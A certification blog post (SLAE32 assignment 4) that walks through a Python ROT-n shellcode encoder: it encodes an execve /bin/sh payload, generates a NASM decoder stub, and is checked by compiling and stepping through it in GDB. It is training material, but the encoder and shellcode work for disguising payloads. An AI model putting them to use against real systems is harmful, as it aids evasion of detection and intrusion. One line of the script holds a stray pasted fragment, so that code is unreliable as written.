Thumbnail: logo

SLAE32 - Assignment 4 - Custom Encoder

by on



As a fourth SLAE assignment, I had to come up with a custom shellcode encoder. I have decided to opt for a variable ROT encoding, which is a very basic substitution cipher. Bare in mind that the ROT cipher is by no means a safe and secure cryptographic algorithm and should be avoided. However, ROT is good example for training as it is easy to implement.

I have tweaked the following python script which does the following:


  • Takes a ROTn value between 1 and 256 as a user input
  • Encode the embedded execve shellcode with the provided ROTn value
  • Generate a local ready-to-use .nasm file, which includes the decoding procedure necessary to execute the shellcode.
import sys

total = len(sys.argv)

# check for argv
if total != 2:ld -z execstack -o
    print "[+] Usage %s [rot-n]" % sys.argv[0]
    sys.exit()

# convert argv to rot variable and check range consistency
rot = int(sys.argv[1])

if rot not in range(1,257):
     print "[+] Please insert a ROT value between 1 and 256"
     sys.exit()
else:
    #execve /bin/bash
    shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

    n = rot # rot-n
    rot_hex = str((format(n, '02x')))
    max_value_without_wrapping = 256 - n

    encoded_shellcode = ""
    db_shellcode = []

    for x in bytearray(shellcode):
        if x < max_value_without_wrapping:
            encoded_shellcode += '\\x%02x' % (x + n)
            db_shellcode.append('0x%02x' % (x + n))
        else:
            encoded_shellcode += '\\x%02x' % (n - 256 + x)
            db_shellcode.append('0x%02x' % (n - 256 + x))

    encoded_nasm = ','.join(db_shellcode)
    print "Encoded shellcode:\n%s\n" % (encoded_shellcode)
    print "DB formatted (paste in .nasm file):\n%s\n" % ','.join(db_shellcode)

    print "Encoding file with \nROT%s\n" % (rot)
    f = open('rot%s-encoded-shellcode.nasm' %n, 'w')
    f.write('global _start\n\n')
    f.write('section .text\n\n')
    f.write('_start:\n')
    f.write('\tjmp short call_decoder\n\n')
    f.write('decoder:\n')
    f.write('\tpop esi\n')
    f.write('\txor ecx, ecx\n')
    f.write('\tmov cl, len \n\n')
    f.write('decode:\n')
    f.write('\tcmp byte [esi], 0x%s\n' % rot_hex)     
    f.write('\tjl wrap_around\n')            
    f.write('\tsub byte [esi], 0x%s\n' % rot_hex)   
    f.write('\tjmp short process_shellcode\n\n')
    f.write('wrap_around:\n')
    f.write('\txor edx, edx\n')         
    f.write('\tmov dl, 0x%s\n' % rot_hex)   
    f.write('\tsub dl, byte [esi]\n')  
    f.write('\txor ebx,ebx\n')       
    f.write('\tmov bl, 0xff\n')       
    f.write('\tinc ebx\n')
    f.write('\tsub bx, dx\n')             
    f.write('\tmov byte [esi], bl\n\n')    
    f.write('process_shellcode:\n')   
    f.write('\tinc esi\n')              
    f.write('\tloop decode\n')      
    f.write('\tjmp short shellcode\n\n')   
    f.write('call_decoder:\n')
    f.write('\tcall decoder\n')
    f.write('\tshellcode:\n')
    f.write('\tdb %s\n' % encoded_nasm)
    f.write('\tlen: equ $-shellcode\n')
    f.close()


As a proof of concept, let’s run it with only a single shift value, named ROT-1.

# python variable-rot-encoder.py 1
Encoded shellcode:
\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81

DB formatted (paste in .nasm file):
0x32,0xc1,0x51,0x69,0x30,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x8a,0xe3,0x54,0x8a,0xe2,0xb1,0x0c,0xce,0x81

Encoding file with
ROT1

We can also verify the self-generated NASM file.

global _start

section .text

_start:
	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, len

decode:
	cmp byte [esi], 0x01     	  ; ROT-n adjusted value
	jl wrap_around
	sub byte [esi], 0x01	          ; ROT-n adjusted value
	jmp short process_shellcode

wrap_around:
	xor edx, edx
	mov dl, 0x01		          ; ROT-n adjusted value
	sub dl, byte [esi]             
	xor ebx,ebx
	mov bl, 0xff
	inc ebx
	sub bx, dx
	mov byte [esi], bl

process_shellcode:
	inc esi
	loop decode
	jmp short shellcode

call_decoder:
	call decoder
	shellcode:
	db 0x32,0xc1,0x51,0x69,0x30,0x30,0x74,0x69,0x69,0x30,0x63,0x6a,0x6f,0x8a,0xe4,0x51,0x8a,0xe3,0x54,0x8a,0xe2,0xb1,0x0c,0xce,0x81
	len: equ $-shellcode

And compare the original shellcode:

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

with the one generated by the script, contained in the nasm file.

\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81

And it’s clear that the resulting shellcode has been shifted by a single value.
The decoder section of the NASM file is also adjusted accordingly to restore the original shellcode in memory.

So, let’s compile it, and dissect it with GDB!

objdump -d ./rot1-encoded-shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x24\x5e\x31\xc9\xb1\x19\x80\x3e\x01\x7c\x05\x80\x2e\x01\xeb\x10\x31\xd2\xb2\x01\x2a\x16\x31\xdb\xb3\xff\x43\x66\x29\xd3\x88\x1e\x46\xe2\xe3\xeb\x05\xe8\xd7\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81"

Then paste the output into our shellcode template and compile it with Z flag since the shellcode writes into the .text segment,

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

And time for GDB truth:

#gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
(gdb)break *&shellcode
Breakpoint 1 at 0x2040
(gdb) run
Starting program: /root/Desktop/Assembly/SLAE/SLAE/Exam/4/shellcode
Shellcode Length:  68

Breakpoint 1, 0x80085040 in shellcode ()
(gdb) disassemble
Dump of assembler code for function shellcode:
=> 0x80085040 <+0>:	jmp    0x80085066 <shellcode+38>
   0x80085042 <+2>:	pop    esi
   0x80085043 <+3>:	xor    ecx,ecx
   0x80085045 <+5>:	mov    cl,0x19
   0x80085047 <+7>:	cmp    BYTE PTR [esi],0x1
   0x8008504a <+10>:	jl     0x80085051 <shellcode+17>
   0x8008504c <+12>:	sub    BYTE PTR [esi],0x1
   0x8008504f <+15>:	jmp    0x80085061 <shellcode+33>
   0x80085051 <+17>:	xor    edx,edx
   0x80085053 <+19>:	mov    dl,0x1
   0x80085055 <+21>:	sub    dl,BYTE PTR [esi]
   0x80085057 <+23>:	xor    ebx,ebx
   0x80085059 <+25>:	mov    bl,0xff
   0x8008505b <+27>:	inc    ebx
   0x8008505c <+28>:	sub    bx,dx
   0x8008505f <+31>:	mov    BYTE PTR [esi],bl
   0x80085061 <+33>:	inc    esi
   0x80085062 <+34>:	loop   0x80085047 <shellcode+7>
   0x80085064 <+36>:	jmp    0x8008506b <shellcode+43>
   0x80085066 <+38>:	call   0x80085042 <shellcode+2>
   0x8008506b <+43>:	xor    al,cl
   0x8008506d <+45>:	push   ecx
   0x8008506e <+46>:	imul   esi,DWORD PTR [eax],0x69697430

Let’s place a breakpoint right after popping ESI, so we can track down the location where all the decoding process will take place

(gdb)break *0x80085043
Breakpoint 2 at 0x80085043

gdb) cont
Continuing.

Breakpoint 2, 0x80085043 in shellcode ()
(gdb) info reg
...
esi            0x8008506b	-2146938773
...


(gdb)x/32xb 0x8008506b
0x8008506b <shellcode+43>:	0x32	0xc1	0x51	0x69	0x30	0x30	0x74	0x69
0x80085073 <shellcode+51>:	0x69	0x30	0x63	0x6a	0x6f	0x8a	0xe4	0x51
0x8008507b <shellcode+59>:	0x8a	0xe3	0x54	0x8a	0xe2	0xb1	0x0c	0xce
0x80085083 <shellcode+67>:	0x81	0x00	0x00	0x00	0x00	0x00	0x00	0x00

Great. We discovered that the ESI points at 0x8008506b memory location and if we inspect it we recognize the ROT-1 encoded shellcode.

We place now another breakpoint at the loop statement, and we can verify that, at the same memory location where ESI was pointing to, some magic is happening and every byte gets decremented by one.

(gdb)break *0x80085062
Breakpoint 3 at 0x80085062

gdb) cont
Continuing.
Breakpoint 3, 0x80085062 in shellcode ()
(gdb)x/16xb 0x8008506b
0x8008506b <shellcode+43>:	0x31	0xc1	0x51	0x69	0x30	0x30	0x74	0x69
0x80085073 <shellcode+51>:	0x69	0x30	0x63	0x6a	0x6f	0x8a	0xe4	0x51
(gdb) cont
Continuing.

Breakpoint 3, 0x80085062 in shellcode ()
(gdb)x/16xb 0x8008506b
0x8008506b <shellcode+43>:	0x31	0xc0	0x51	0x69	0x30	0x30	0x74	0x69
0x80085073 <shellcode+51>:	0x69	0x30	0x63	0x6a	0x6f	0x8a	0xe4	0x51

My assignment code can be found here:

here




This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-5837

exploit, SLAE, shellcode, security, x86IA, encoder


© 2018 Matteo Malvica. Illustrations by Sergio Kalisiak.